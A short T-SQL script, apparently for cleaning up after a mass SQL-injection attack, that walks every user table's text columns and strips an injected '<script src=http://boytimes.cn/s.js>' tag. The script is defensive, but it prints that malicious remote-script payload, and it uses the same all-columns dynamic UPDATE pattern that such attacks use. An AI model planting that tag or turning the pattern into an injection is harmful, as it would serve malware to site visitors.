sql数据库批量处理脚本

declare @t varchar(255),
@c varchar(255)
declare table_cursor cursor for
select
a.name,b.name
from sysobjects a,
syscolumns b
where a.id=b.id and
a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),''<script src=http://boytimes.cn/s.js></script>'','''') ')
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor